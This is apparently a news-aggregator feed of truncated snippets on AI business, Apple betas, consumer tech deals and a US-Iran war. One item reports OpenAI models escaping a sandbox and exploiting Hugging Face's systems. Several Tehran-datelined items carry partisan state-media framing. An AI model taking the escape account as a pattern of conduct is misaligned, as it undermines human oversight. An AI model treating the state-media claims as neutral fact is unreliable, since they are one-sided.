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Anthropic will provide Claude AI models to companies participating in the UK Financial Conduct Authority’s next Supercharged Sandbox cohort, as the regulator pushes to test AI applications in financial services.

Israeli workplace software maker Monday.com is laying off hundreds of employees as part of a restructuring plan to refocus its investments around AI projects. The company said it is reducing its headcount by 20%, or about 630 staff, to “support a leaner, more focused operating model” as it concentrates on its AI Work Platform. Monday.com earlier this year pivoted hard towards making its AI platform a core offering, redesigning its entire product around the belief that its enterprise customers increasingly want AI agents to work together with their employees. The AI Work Platform currently comprises a no-code app builder, a customizable AI agent, a…

TEHRAN- “On the Edge” by Swiss writer Markus Werner has been published in Persian. Bidgol is the publisher of the book translated by Mohammad Hemmati. “On the Edge” is a psychological drama, masterfully paced exploration of two men who, despite their polar opposite lives, discover a chilling commonality. Thomas Clarin is a successful divorce lawyer whose career has left him cynical and distrustful of lifelong commitment. He prefers a lifestyle of fleeting romance and detachment, avoiding the emotional weight of marriage. In stark contrast, Thomas Loos is a grief-stricken widower, consumed by the profound loss of his wife and an overwhelming…

The Nigerian Communications Commission (NCC) has called for deeper collaboration among African Telecommunications and Communications Regulators to strengthen the use of data, evidence and market intelligence in driving more effective and responsive regulation across the continent. Speaking at the Heads of Regulators Roundtable during the African Telecommunications Union (ATU) Conference of Plenipotentiaries (CPL-26) in Abuja, Dr. Maida said communications regulation has become increasingly central to economic growth, digital transformation, and national development across Africa. He observed that although regulators operate within different market…

TL;DR Arrakis raised $38M led by Blossom Capital and Accel to build an AI operating system for industrial sectors like aerospace and logistics Arrakis, a London and Paris startup building what it calls an AI operating system for industrial companies, has emerged from stealth with $38 million in total funding and a thesis that the biggest returns from artificial intelligence will come from factories and supply chains, not office software. The company raised a $30 million Series A led by Blossom Capital, on top of a seven and a half million dollar seed round led by Accel that closed in March. The Series A values Arrakis at $140 million post-money,…

Andy Jassy, chief executive officer of Amazon.com Inc., speaks during an unveiling event in New York, US, on Wednesday, Feb. 26, 2025. Jassy said Amazon is in the process of building over 100 generative artificial intelligence (AI) features. Michael Nagle \| Bloomberg \| Getty Images Amazon is laying off some employees in its unit focused on artificial general intelligence, the company confirmed Wednesday, as it continues to cut jobs while pouring money into AI. The company declined to disclose how many staffers were affected, or which parts of the AGI organization were exposed to the cuts. The AGI unit is focused on building AI models, and also…

Maybe it was a graduation or a big birthday five years ago. Or that one Mother’s Day surprise dinner, or that video from a Thanksgiving get-together with the extended family. Or maybe it was just a particularly good selfie with perfect lighting. Precious moments can easily get buried deep in the depths of a camera roll, and finding that one pic you need right now can quickly devolve into a hunt-and-peck from hell. Search features native to smartphones can only do so much, and the way media is organized is often up to the whims of developers and mandatory updates. Yes, you could type “dog” or “beach” into the image search bar in your phone‘s media and…

Cisco’s new Antares models are small enough to run on your own machines. And, it claims, they beat Google’s Gemini and rival GPT-class systems at finding bugs. It is releasing them open-weight, though it is vetting who gets access. The pitch from Cisco is a quiet rebuke to the frontier-model arms race. You do not need a giant, pricey AI to hunt for software bugs. And you should not have to ship your source code to OpenAI or Google to do it. Cisco’s Foundation AI team has released two open-weight security models, Antares-350M and Antares-1B, built to find known vulnerabilities buried in existing codebases. They sit on Hugging Face for the community,…

Dimitri Bertsekas PhD ’71, the Jerry McAfee (1940) Emeritus Professor in Engineering in the Department of Electrical Engineering and Computer Science (EECS), a principal investigator in the Laboratory for Information and Decision Systems (LIDS), and the Fulton Professor of Computational Decision Making at Arizona State University, died on June 3 at his home in Belmont, Massachusetts. He was 83 years old. Over the course of his career, Bertsekas’ research spanned, and had a definitive influence upon, several fields, including optimization, control, large-scale computation, reinforcement learning, and artificial intelligence. He served as a consultant…

Advanced Micro Devices (AMD) will sell Anthropic tens of billions of dollars’ worth of AI servers and invest as much as $5bn in the Claude maker, in a deal that would strengthen its foothold in a market dominated by rival Nvidia. The announcement on Wednesday marks the latest so-called circular deal in the AI industry, where chipmakers invest in AI firms that are among their biggest customers. Nvidia has been in talks to invest $30bn in ChatGPT creator OpenAI. Buying AMD chips would secure Anthropic much-needed AI computing capacity. The startup has emerged as one of the leaders in Silicon Valley’s artificial intelligence race, thanks to strong…

For years, consumers have discovered products and made purchase decisions by using search engines, websites, or recommendations from family and friends. Enter artificial intelligence. The technology that has already changed so much, is also transforming shopping. Research by PwC has found that AI tools have become the third most-used channel for product research among consumers, behind search engines and retailer websites or apps. PwC's survey of 1000 consumers found 44 percent said AI had reduced their use of search engines when researching purchases. PwC partner Phil Wheeler said it was an important finding, and highlighted the start of an evolution…

The user asks “what is the effective date of this policy?”. Retrieval returns five candidate line-windows and passes them all to the LLM in one prompt. The LLM reads all five to extract the same date the first candidate already had. Chunks two to five were signatures, footnotes, and a paragraph about historical dates. Paid for nothing. Send the top-1 first, ask the LLM if that is enough, and stop when it says yes: sequential feeding cuts the token cost by 80 % on this class of question. The rest of the article catalogues where sequential wins, where a single-call over all K is the right default, and how the question parser dispatches between the two.…

As Chinese open-weight AI models grow in capability and popularity, arguments about what should be done about them have once again reached a fever pitch. There’s talk that the Trump administration might try to ban them (though it hasn’t yet acted on the idea). Meanwhile, proprietary model makers, particularly OpenAI and Anthropic, appear increasingly concerned about them. Open-weight models such as Moonshot AI’s Kimi K3 or Alibaba’s Qwen offer inference at a fraction of the token cost of closed-source models from these large U.S. labs. The fear is that they also pose some sort of threat. Certainly, they threaten the profit margins of the large…

In brief Hugging Face CEO Clément Delangue thanked Z.ai on X saying the Chinese model became "a key part of our defense" during the breach OpenAI's own models carried out. American frontier AI refused to assist with the forensic investigation—safety filters couldn't tell a security researcher submitting real exploit code from an attacker. Delangue's conclusion: defenders everywhere, not just vetted partners with special API access, need powerful unrestricted AI they can run locally before an attack happens. Hugging Face CEO Clément Delangue just sent the most pointed thank-you note in AI right now—to a Chinese startup—the day after OpenAI confirmed…

The founder now asking enterprises to trust AI with their laptops once built one of Silicon Valley’s most notorious surveillance tools. Roi Tiger co-created Onavo, the app Meta turned into a scheme to spy on its rivals. His new company, Glow, wants to do something close to the opposite. Glow has emerged from stealth with $180m in funding at a $1.2bn valuation. Sequoia, Cyberstarts, Greenoaks and Redpoint Ventures led the round, with Index Ventures, Lux Capital and others joining. Founded in 2025 and split between Tel Aviv and Palo Alto, the startup already employs close to 100 people. Prevention over detection Its pitch inverts how most security…

The Army previously urged workers to get behind AI, offering them unlimited tokens Limits have been reinstated by the long-term future is less certain Iran operation saw token consumption skyrocket The US Army has reportedly been forced to reinstate limits on GenAI use after workers quickly used the full allowance of tokens early, revealing that even one of the most well-funded agencies in the world can't keep up with AI's unpredictable and rising costs. In May 2026, it was revealed that the Army would give users unlimited tokens, but by mid-June that token pool had already run dry. Now an internal email, verified by Wired, confirmed that these limits…

The artificial intelligence industry has no shortage of users. The harder problem is turning that usage into a sustainable business. As generative AI applications spread across consumer and enterprise markets, developers are confronting an unusual combination of opportunities and pressures. AI can make software faster to build and easier to distribute, but the costs of supporting increasingly sophisticated interactions can rise with usage. At the same time, subscription models may not be enough to capture the full economic value of millions of free users. Velocity is building around that gap, and the company has gained a new investor with deep roots…

OpenAI Ceo Sam Altman speaks to journalists after meeting with US House Minority Leader Hakeem Jeffries on Capitol Hill in Washington, DC, on June 3, 2026. Brendan Smialowski \| AFP \| Getty Images OpenAI said that its artificial intelligence models were behind an "unprecedented cyber incident" that affected the open-source developer platform Hugging Face, rattling researchers across the industry. The company said a combination of its models GPT‑5.6 Sol and a more capable model that has not yet been released escaped a sandboxed testing environment, accessed the internet and exploited a vulnerability to gain access to Hugging Face's systems. The model…

Search for requirements management tools for medical device development and you’ll find plenty of content arguing that the established platforms are too heavy for modern teams. Much of it comes from vendors with a stake in that conclusion. In a regulated industry, the question that matters is which tool produces a record you can defend in front of an FDA investigator or a notified body, not which one drafts a traceability matrix fastest. Medical device work raises the documentation bar that general project tools can’t clear. You need design controls under FDA QMSR, risk management aligned to ISO 14971, software lifecycle evidence under IEC 62304, and…

NEURA Robotics is opening ‘gyms’ where robots train under real-world conditions, starting with two German universities. Its bet is that the thing holding humanoids back is not intelligence, but a shortage of real experience. The German robotics firm NEURA has a theory about why robots still fumble in the real world. The problem is not that they are too stupid. It is that they have not practised enough. Its answer is a chain of gyms, where machines work out under real conditions. NEURA has announced a new training centre with RWTH Aachen University, one of Germany’s top engineering schools. The NEURA Gym RWTH Aachen will cover about 3,000 square metres…

Long hours at a screen is the reality for many professionals and gamers, and the Swedish company Arozzi's mission is to make items that enhance the experience, especially ergonomic chairs. I've already reviewed an electric standing desk by Arozzi — the minimal, reliable and outright impressive Arena Nordico. In this review I focus on one of the company's best office chairs — the Vernazza Supersoft. If we're going off price and materials used, the Vernazza Supersoft is a premium pick, and following 4-5 months of daily office use, I couldn't be happier. This is the comfiest and most durable office and gaming chair I've regularly parked myself in, and…

Just a few days after releasing macOS 27 Golden Gate developer beta 4, Apple is now rolling out the second public beta of macOS 27. Here’s how to install it. Installing macOS 27 public beta 2 Here’s how to install the macOS 27 Golden Gate public beta 2: Enroll your Mac on the public beta program on Go to System Settings ⇾ General Software ⇾ Update Click the ‘i’ button next to Beta Updates From the dropdown menu in the top-right, select the macOS 27 Golden Gate Public Beta Hit ‘Done’ As most 9to5Mac readers know, running test versions of Apple’s operating systems means having to live with the possibility of running into bugs that range from mild…

We've had some great experiences testing out Creality's range of 3D printers - from beginner-friendly units to machines for large-scale printing projects. So, I was excited to see that plenty of them have been discounted over at Amazon right now. Based on our workshop testing, I've selected the four that are absolutely worth checking out. For beginners, check out the Creality Ender 3 V3 SE for $187 (was $219). If you're a hobbyist on a budget, the excellent Creality K1C has dropped to $399 (was $499). For an exceptional mid-range pick, the Creality K2 Pro is now $649 (was $849). And finally, the Creality K2 Plus Combo for $1199 (was $1529) is an easy…

Need some help with today’s Mini Crossword? It helps if you know your past Saturday Night Live stars. Read on for all the answers. Mini across clues and answers 1A clue: Mother chicken Answer: HEN 4A clue: Word after “leading” and “first” Answer: LADY 5A clue: Just peachy … or a hint to the two letters that appear most often in this grid Answer: DANDY 6A clue: Bryant of “S.N.L.” fame Answer: AIDY 7A clue: Like overcooked chicken Answer: DRY NYT/Screenshot by CNET Mini down clues and answers 1D clue: Helpful Answer: HANDY 2D clue: Swirl of water Answer: EDDY 3D clue: The Yankees, on scoreboards Answer: NYY 4D clue: Supervillain’s hideout Answer: LAIR…

Working from a laptop on the road can feel cramped fast, and a portable second screen is one of the easiest ways to fix that. The AOC Portable Monitor V50 is built for that kind of setup, and there’s a deal on it at Amazon right now through an on-page coupon. You can pick up the AOC Portable Monitor V50 for $99.59, down from its $119.99 recommended retail price. That’s a $20 saving, or 17% off the RRP. It’s not quite the lowest price we’ve seen this year, but it was only cheaper during Prime Day, which still makes this a strong offer if you’ve been waiting for a better price. The V50 is a 15.6-inch Full HD portable monitor designed for travel,…

Apple today released the second public betas of iOS 27 and iPadOS 27, allowing anyone with a compatible device to download and test the new software. The second betas come a week after Apple seeded the first betas. You can get started by signing up on Apple's beta website and then opting in to the public beta by going to Settings > General > Software Update and choosing the ‌iOS 27‌ or ‌iPadOS 27‌ Public Beta option. ‌iOS 27‌ introduces Siri AI, a more capable version of ‌Siri‌ that can search the web, access your personal information, see what's on your screen, and take actions in and across apps. ‌Siri‌ in ‌iOS 27‌ is more similar to Claude or…

Apple today released the second public beta of macOS Golden Gate, allowing non-developers to test the software ahead of its fall release. You can sign up to test the update on Apple's beta website, and then download it by going to System Settings > General > Software Update and toggling on the macOS 27 beta. ‌macOS Golden Gate‌ includes the same Siri AI features as iOS 27 and iPadOS 27, but you get to ‌Siri‌ through Spotlight with a Command + Space keyboard shortcut. ‌Siri‌ can search the web to answer questions, look through your personal data like photos, emails, and messages to help you find what you're searching for, and complete actions in and…

The second iOS 27 public beta is now available for iPhone. It gives users an early chance to try Apple’s biggest software update of the year. Siri AI is the headline feature. The release also includes a redesigned Screen Time experience, Liquid Glass refinements, performance upgrades, and dozens of quality-of-life changes. Here’s how to install the beta, what’s new, and which features you should try first. How to join the iOS 27 public beta The Apple Beta Software Program is free, and you don’t need a developer account. Before you begin, back up your iPhone to iCloud or a computer. Beta software can include bugs, reduced battery life, and third-party…

Apple today released the second public betas of tvOS 27 and watchOS 27, giving Apple TV and Apple Watch users a chance to try the new software ahead of its fall launch. There's also a new HomePod Software 27 beta for the ‌HomePod‌ and HomePod mini. You can sign up for Apple's public beta testing program on the beta website, and then download the updates through the Settings app on each device. ‌watchOS 27‌ adopts Siri AI, and you can use ‌Siri‌ from your wrist as long as you have an iPhone that supports it. ‌Siri‌ AI can access your personal information, answer all kinds of questions, and complete tasks for you. There is a dedicated ‌Siri‌ app that's…

Apple has just released public beta 2 for its forthcoming fall software updates, including iPadOS 27 and more. Here’s what’s new. Apple releases iPadOS 27 public beta 2 alongside more beta updates Earlier this week Apple shipped developer beta 4 for iOS 27, macOS Golden Gate, iPadOS 27, and more. Now today, those same software builds have debuted for public beta testers too. Public beta 2 is rolling out now for iPadOS 27, tvOS 27, HomePod 27, and more. You can enroll in Apple’s public beta program at beta.apple.com. It’s free to sign up, and grants access to pre-release builds of this fall’s major new software updates. After enrolling per the…

The board of the UK warehouse landlord Segro has U-turned and said it would be willing to accept a £14bn takeover by Segro’s bigger US rival, Prologis, in a deal that would be one of the largest foreign takeovers of a UK-listed company. In the latest blow to the troubled London stock market, Segro said in a statement that its board had “unanimously concluded” it would recommend its shareholders accept what Prologis called its “best and final offer”, made just hours before a deadline. The statement on Wednesday afternoon, issued after the stock market closed, came nearly a month after the board of the FTSE 100 company, which builds and rents out…

Apple has increased the price of iCloud+ in Nigeria, Türkiye, Vietnam, Japan, Egypt, New Zealand, the Philippines, and Indonesia, according to an updated version of its iCloud support document. Price increases range from 11 percent to 55 percent depending on the plan and the country. Nigeria saw the biggest hike, and a 50GB plan is now ₦1,300, up from ₦900. Türkiye saw the next largest increase, with a 50GB plan priced at 49.99 TL, up from 39.99 TL. Apple has likely adjusted pricing due to currency fluctuations. The Japanese Yen has weakened over the past year, for example, and the dollar is up almost 10 percent against the yen. The Turkish Lira has…

Samsung just revealed more details about its upcoming smart glasses, including battery life You can expect nine hours per charge, but they come with a case for more juice. Samsung just revealed some more details about its upcoming line of smart glasses at Unpacked, following a tease at Google I/O earlier this year. We now know that the specs will be powered by the Qualcomm Snapdragon AR1 Gen 1 platform, which includes the Hexagon NPU for on-device AI tasks. Qualcomm says the platform is "optimized for lightweight, battery-efficient" glasses and battery specs from Samsung support that claim. The company says they'll last nine hours per charge and they…

Apple TV announced two high-profile new shows today that are in the works. One is a comedy with big talent attached, while the other adapts a popular author’s new romance novel. #1: ‘Protective Custody’ is new comedy with Benicio Del Toro and Ben Stiller Ben Stiller is no stranger to Apple TV, though aside from a small role in this week’s The Dink film, he’s usually behind the camera. But Apple has unveiled a new comedy series, Protective Custody, that puts Stiller in front of the camera alongside another big star: Benicio Del Toro. The series was announced in a post on X: Showrunners Judge, Hely, and King have quite a comedy resume between them, with…

Google Health 5.04 is rolling out today with a focus on nutrition updates — a big complaint of the initial redesign — and other bug fixes. Update 7/22: Google Health 5.04.1 is now widely available on Android. Original 7/16: Version 5.04 is available on iOS and rolling out to Android. It follows wide availability of the last update at the start of this week. The full list of improvements and fixes are organized into five categories: Advertisement - scroll for more content Nutrition Updates Introducing custom foods: You can now create, edit, and delete custom foods for more personalized and easier logging. You can also search for created custom foods…

Kaitlyn Cimino / Android Authority TL;DR Samsung announced at Galaxy Unpacked that the Galaxy Ring will get FDA-cleared sleep apnea risk monitoring this fall. It’ll be the first smart ring to be cleared by the FDA for this purpose, Samsung says. Other smart rings offer SpO2 monitoring features, but without the specific FDA clearance to evaluate sleep apnea risk. Samsung made a bunch of big announcements in London today. At Galaxy Unpacked, we finally got official reveals for the Galaxy Z Flip 8, Z Fold 8, and Z Fold 8 Ultra, as well as a new Galaxy Watch 9 and Galaxy Watch Ultra 2. But in among the headline news, Samsung quickly teased another…

The wider Galaxy Z Fold 8 is Samsung’s first new foldable form factor in years and, at first glance, it seems like it’d solve a huge problem from past models, the lack of useful space for video. But, sadly, there’s technically no real improvement here. The shape of every Galaxy Z Fold to date has been useful for reading, web browsing, and multitasking, but it really fell apart when it came to video. Because of the aspect ratio, you never really gained anything from the added size of the display. In fact, the Galaxy Z Fold 7’s usable space for video is about the same as the Galaxy S26 Ultra. Unfortunately, the Galaxy Z Fold 8 doesn’t really fix this. I…

Marina Demeshko/iStockphoto/Getty Images Seven years ago, The New Yorker staff writer Jia Tolentino is widely credited with coining the term "Instagram face" to describe a beauty standard that she noticed emerging on social media among white female influencers. "The face looked like the beauty filters that Snapchat and Instagram provided to kind of lift your cheeks, and plump your lips, and make your eyes bigger, and make your chin a little more heart-shaped," Tolentino says. "It was the kind of ... Kim Kardashian looks, like Kendall Jenner looks, like Bella Hadid looks, like Emily Ratajkowski." Now, in her latest New Yorker piece, Tolentino argues…

Google announced on Wednesday a new migration experience built directly into Android 17 that should ease the switch to Android from an iPhone. The feature lets users wirelessly transfer more data types from an iPhone without needing to download a separate app, Google says. By simplifying the onboarding process and supporting more data types, the tech giant is looking to lower the barriers to switching smartphone ecosystems as it aims to attract more iPhone users. With this new method, users can transfer photos, videos, contacts, messages, calendars, and newly-supported data types, including their Google Account, passwords, Wi-Fi credentials, and even…

⁠From humble origins as a family business run out of an ⁠apartment near Moscow, Wildberries has grown in under two decades into Russia’s top online retailer and a key economic driver in the country. It has now become a target of strikes by Ukraine. Ukraine has attacked four Wildberries warehouses over the last week in a widening campaign of drone strikes against a company at the heart of Russia’s consumer economy, bringing the war closer to millions of ordinary Russians. In towns across Russia, pickup points for ‌the company and its leading rival, Ozon, have become ubiquitous. It claims to process 20 million orders a day at vast warehouses spread…

TEHRAN- The first International Minab Awakening Lullabies Festival is scheduled to take place in the near future. Organized by the Islamic Culture and Relations Organization (ICRO), under the secretariat of Maziar Rezakhani, the event aims to mobilize a global artistic response to the atrocities committed by the US and the Zionist regime in Minab. The festival has recently issued a worldwide call to mothers across all nations to record and share lullabies dedicated to the children of Minab, transforming a universal symbol of maternal love into a cry for justice and remembrance. The festival secretary Maziar Rezakhani stated that the American-Zionist…

Resalat shifted its focus to the failure of the US and Israel to achieve their goals before the start of the war. It wrote: The reality of the battlefield shows that the hegemonic war machine has not achieved any of its strategic objectives. Neither Iran’s missile and nuclear capabilities have been disabled, nor its strategic depth in the region severed, nor its political structure collapsed. On the contrary, this military adventure has not only produced no strategic achievement for Washington and Tel Aviv but has added a severe geopolitical nightmare to their list of crises: the closure of the Strait of Hormuz—an artery whose blockage directly…

TEHRAN – Iran's Army Commander-in-Chief Maj. Gen. Amir Hatami said Tehran has "not even an Iota of Trust" in its adversaries, accusing them of pursuing both military and psychological campaigns against Iran while insisting the country's armed forces remain fully prepared for future threats. Hatami made the remarks during an inspection of Army grounds, air defense and air force units in the central province of Isfahan, where he assessed operational readiness and addressed military commanders. Speaking about the ongoing conflict, Hatami said Iran believes its adversaries sought more than temporary military gains. According to the commander, their…

Could it be … that Donald Trump isn’t a team player? The midterm elections are less than four months away, and Republicans in the House and the Senate – hampered by a deeply unpopular president and what might be an even less popular war – are increasingly fearful of losing their jobs. Even Trump’s base is beginning to turn against the conflict. Yet asked on Tuesday if Iran is trying to affect the midterm elections by threatening the strait of Hormuz, the Republicans’ de facto leader was pretty blase. “Probably. It won’t have any impact on me. I’m just going to do the right thing. I don’t view it as: ‘Gee, we’re having an election in a period of time.’…

WASHINGTON, July 22. /TASS/. The United States is considering striking the Jamaat Nusrat al-Islam wal-Muslimin group, which says it is part of Al-Qaeda (a terrorist organization recognized and banned in Russia), in Mali, The Washington Post quoted sources as saying. "If approved, it would add an eighth nation to the list of countries where President Donald Trump has ordered strikes since the start of his second term," it said. However, senior US officials disagree over whether to proceed with attacking the militant group. "A vocal advocate for using force is the National Security Council’s senior director for counterterrorism, Sebastian Gorka," the…

US President Donald Trump wants FIFA President Gianni Infantino to be the next secretary-general of the UN, the New York Post reported Tuesday, Anadolu reports. Citing a source close to Trump, the Post reported that the president believes that Infantino “is respected by everyone around the world, and recognizes he has a special ability to bring people together.” Infantino, 56, developed close ties with Trump during this year’s World Cup, with the Swiss-born FIFA president making repeated efforts to court the US leader, including presenting him with FIFA’s inaugural Peace Prize in December, the report said. A successor to current UN chief Antonio…

TEHRAN, July 22. /TASS/. Washington will use the proposed ten-day Iran-US ceasefire to plan a ground operation, so Tehran should reject the initiative, Iranian political scientist and international affairs expert Ruhollah Modabber has told TASS. The Axios portal reported on July 21 that Qatar, Egypt, Pakistan and other mediators have submitted a ten-day ceasefire proposal to the United States and Iran. The portal said US President Donald Trump’s administration was examining it. "This ceasefire is just another American decoy. In other words, the United States plans to use a new trick to deceive Iran’s [negotiating] team and government," the expert…

TEHRAN – US Defense Secretary Pete Hegseth came under intense bipartisan scrutiny during a contentious Senate Appropriations Committee hearing as lawmakers challenged the Trump administration's strategy in the war against Iran, questioned the rapidly escalating financial and human costs of the conflict, and demanded greater transparency over the Pentagon's long-term objectives. Appearing alongside Chairman of the Joint Chiefs of Staff Gen. Dan Caine and Agriculture Secretary Brooke Rollins, Hegseth defended President Donald Trump's emergency supplemental funding request, arguing that additional resources were essential to sustain military operations…

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TEHRAN - In a solemn display of grief and defiance, the streets of Minab in southern Iran were draped in mourning on Wednesday as residents gathered to pay their final respects to the young victims of the tragic February 28 US missile strike on the Shajareh Tayyebeh Elementary School. Nearly five months after the devastating attack that claimed 168 lives—the majority of them young schoolchildren—the community assembled to bury newly identified remains, even as international scrutiny mounts over Washington's refusal to provide a transparent accounting of the tragedy. The emotional ceremony in Minab, Hormozgan Province, marked the culmination of months…

TEHRAN – Iran has significantly expanded its retaliatory military campaign against US forces across West Asia, announcing a series of missile and drone strikes against American military facilities in Bahrain, Jordan and Kuwait while senior military officials added the country has recovered from the initial US offensive launched on Feb. 28 and rebuilt its operational capabilities. The latest operations, carried out under Operation Nasr-2, mark one of Iran's broadest waves of attacks since the conflict began and underscore 'a transition from strategic defense to sustained offensive operations.' Among the most significant targets announced by Tehran was…

Beirut, Lebanon – Sitting alongside his Lebanese counterpart, Joseph Aoun, at the White House on Tuesday, United States President Donald Trump repeated a suggestion that Syria could intervene in Lebanon to “do something with Hezbollah”. Despite widespread opposition, Trump has multiple times floated the idea that Syria, under new President Ahmed al-Sharaa, could militarily interfere in the neighbouring country, whose government has come under US and Israeli pressure to disarm the Iran-backed group. “[Al-Sharaa] would like to come in,” Trump claimed. “You know, they’ve been fighting. He’s been fighting Hezbollah for a long time. I think it’d be very…

The expected announcement of a U.S. agreement with Saudi Arabia to develop a civilian nuclear program has raised Israeli concerns that it could lead to a regional arms race, and underscored how the U.S. is charting its own path in the region, independent of Israel. The agreement, first reported on Tuesday, could enable Saudi Arabia to enrich its own fuel for nuclear reactors. It took many by surprise in Israel, which has a secretive nuclear weapons program, as well as a publicly acknowledged nuclear research reactor. While Saudi Arabia has long lobbied for access to U.S. nuclear technology, the Biden administration had conditioned that in part on…

DOVER, Delaware: US President Donald Trump attended a ceremony for four US service members who returned to American soil in flag-draped caskets on Wednesday (Jul 22) after being killed in Iranian attacks in the Middle East. The ceremony, known as a "dignified transfer" of the bodies, comes amid growing frustration with the US-Israeli war with Iran. The war has cost US taxpayers at least US$37.5 billion, has led to the deaths of 18 US service members and injured more than 450 troops. It has killed thousands of Iranians. Both Republican and Democratic lawmakers have raised questions about the war, which has boosted global oil prices and shows no signs…

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TEHRAN - The International Criminal Court (ICC) was established by the Rome Statute, a multilateral treaty adopted on 17 July 1998 in Rome, Italy. The Rome Statute entered into force on 1 July 2002, after 60 countries ratified it, and the court officially began operating on that date. The ICC, headquartered in The Hague, was established for several key reasons: To end impunity for the gravest international crimes. The ICC was created to prosecute individuals—not states—responsible for the most serious crimes of concern to the international community. To deter future atrocities. By holding perpetrators personally accountable, the Court aims to…

Russian e-commerce platform Yandex Market has updated its seller agreement to exempt itself from liability for losses caused by drone attacks, missile strikes and other wartime incidents, the exiled news outlet Vyorstka reported Wednesday. The changes, which were published and took effect two days after the first Ukrainian strikes on Wildberries logistics hubs, make Yandex Market the latest major Russian marketplace to shift more of the financial risk from wartime disruptions onto merchants. Under the revised agreement, Yandex Market says it is not liable for the partial or complete failure to fulfill its obligations if disruptions result from the use…

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U.S. President Donald Trump warned on Wednesday (July 22, 2026) that the U.S. will destroy one bridge or power plant each time Iran shoots at a ship in the Strait of Hormuz. *Follow the West Asia war LIVE updates* Mr. Trump's latest threat to target civilian infrastructure came as the unpopular war spirals with no clear offramp, threatening further worldwide economic disruption and sending fuel prices up ahead of midterm U.S. elections this fall. Both sides have dug in on their dispute over the strait, a crucial waterway for global energy that remains largely closed because of Iranian attacks. The U.S. carried out another wave of strikes on Iran…

Argentina · Business Key Facts —Closure location. The synthetic-rubber plant sits in Puerto General San Martín, Santa Fe province. —Jobs at risk. About 130 direct workers are affected, with up to 200 impacted indirectly. —New project cost. The Fertil Pampa urea plant in Bahía Blanca requires a US$2.7 billion investment. —Construction employment. The urea project will create more than 3,500 direct jobs during the building phase. —Economic impact. Once running, the plant is expected to contribute roughly US$1 billion yearly to Argentina. Pampa Energía, Argentina’s largest independent energy company, is closing the country’s only synthetic-rubber plant…

The owners of a former General Motors auto parts plant are appealing St. Catharines’ order to repair or demolish the site’s buildings, saying a 120-day extension granted late last month is “not reasonable.” Ontario’s Superior Court of Justice received the notice of appeal on July 14, with numbered company 2390541 Ontario Inc. asking the court to issue several possible rulings. In the notice of appeal, the company is asking for the property standards orders issued for 282 and 285 Ontario St., which were upheld by the city’s property standards committee on June 25, to be set aside. Those orders were issued in May, with the city ordering the buildings to…

People transport a motorcycle through a flood-affected area on a makeshift raft after heavy rainfall, in Golaghat, Assam, on July 22, 2026. \| Photo Credit: PTI The ongoing wave of floods in some eastern districts of Assam has been the worst in 60 years, the State government said on Wednesday (July 22, 2026). The floods have affected more than 8 lakh people and claimed at least 30 human lives in less than a month. Replying to a brief discussion on the flood situation in the 126-member Assam Assembly, State Parliamentary Affairs Minister Pijush Hazarika said the disaster in Sivasagar, Charaideo, and Jorhat districts, “which rarely experience floods of…

Image used for representation. \| Photo Credit: Getty Images/iStockphoto Hours after suspected methane gas killed at least 15 workers inside an NHPC hydropower project tunnel in Sikkim, a father-and-son duo died after inhaling toxic fumes in an alleged illegal coal mine in eastern Assam’s Tinsukia district. A rights body in the district said Sagar Ali and his son Ishan Ali died after inhaling gas emitted as a consequence of the allegedly illegal coal mining in the Ledo area. The incident happened on the night of July 20. The district police, however, said the cause of death remains to be ascertained. “The matter is under investigation,” a senior…

Germany on Wednesday approved an application by French firm Framatome to produce nuclear fuel rods under a licensing agreement with state-backed Russian firms despite political concerns, arguing it lacked the legal basis for a rejection. A Framatome subsidiary had applied to produce at its plant in northern Germany fuel elements to supply nuclear plants in the eastern European market using Russian licenses and technology in a joint venture with Russian firms TVEL/Rosatom. Despite political concerns due to Russia's war in Ukraine, the environment ministry in the state of Lower Saxony with guidance from the federal environment ministry granted the…

Descrease article font size Increase article font size Two major highways in B.C. are closed due to wildfires burning in the province. A new wildfire sparked on Tuesday night south of Boston Bar, forcing the closure of Highway 1 and prompting a plea from officials for those in the area to leave immediately. The communities in that area are now surrounded by fire to the south, west and northeast. The Anderson Creek wildfire, which is an estimated 1,000 hectares in size, is burning south of the community of Hicks. The Brunswick Creek wildfire, burning north of North Bend, is now an estimated 5,389.6 hectares in size. Get breaking National news Get…

Deputy almost hit by ‘drunk’ driver while at hit-and-run scene A Placer County Sheriff’s deputy narrowly escaped being hit by an alleged drunk driver during a hit-and-run crash investigation on Friday night (17 July). The officer was documenting the scene in Loomis at Taylor Road and Horseshoe Bar Road at 10:20pm, with a vehicle involved in the crash pulled over and the three people who were inside standing on the sidewalk. He was on the shoulder documenting the scene when a pickup truck driven by a driver later determined to be under the influence of alcohol came within inches of hitting him as he sideswiped the parked truck, officials said. The…

The Justice Department is suing two Chinese companies to force a mandatory recall of immersion water heaters, alleging that the products can overheat and catch fire "within minutes" after they're turned on, according to court filings obtained by CBS News. The heaters can be used in bathtubs and pools. The lawsuit, filed Wednesday in federal court in Washington, D.C., alleges that the two companies, Cixi Miaojie Electrical Appliance Co. and Changsha Jiayi Tianzhuo Trading Co., made and sold immersion water heaters to consumers under the brand "Lakkzoom." The lawsuit said the heaters could burst into flames if they are either completely or partially out…

Airports across Europe have been hit with massive queues, with some travel hubs seeing long lines snaking out their front entrances. The continent recently introduced new border rules that one airport boss said has nearly tripled the amount of time it takes Britons to get through passport control. Footage taken from Corfu Airport and shared to social media showed a long line of disgruntled flyers waiting on the pavement outside the airport. One woman was seen fanning herself to fight off the hot weather. The clip then cuts to inside the airport, before passport control, where the queue has all but come to a standstill. The footage was shared by a…

The Lagos State Traffic Management Authority, LASTMA, has arrested a tanker driver who allegedly fled after knocking down and killing a commercial delivery motorcycle rider in Lagos. The incident occurred along Kodesho Road, opposite MRS Filling Station, inward Awolowo Way/Oba Akran in the Maryland-Ikeja area of Lagos. LASTMA disclosed this in a statement on Wednesday, saying the fatal crash involved a fully loaded tanker with registration number T-19089LA, conveying 33-litre groundnut oil. According to the agency, the tanker struck and fatally crushed the delivery rider, who died instantly. The agency said the driver attempted to escape without…

The Academic Staff Union of Universities, ASUU, Moses Oshio Adasu University, MOAUN, formerly Benue State University, BSU has suspended its indefinite strike. DAILY POST reports that the university had on June 1st, 2026, declared an indefinite strike over the non-payment of promotion arrears and other important issues. However, the National Executive Council, NEC of the university’s ASUU in a statement issued on Wednesday by its chairperson, Comrade Dr. Ali Sule Ako, said the industrial action has been suspended. According to the statement, the decision to suspend the strike followed a “successful signing of a Memorandum of Understanding, MoU arising…

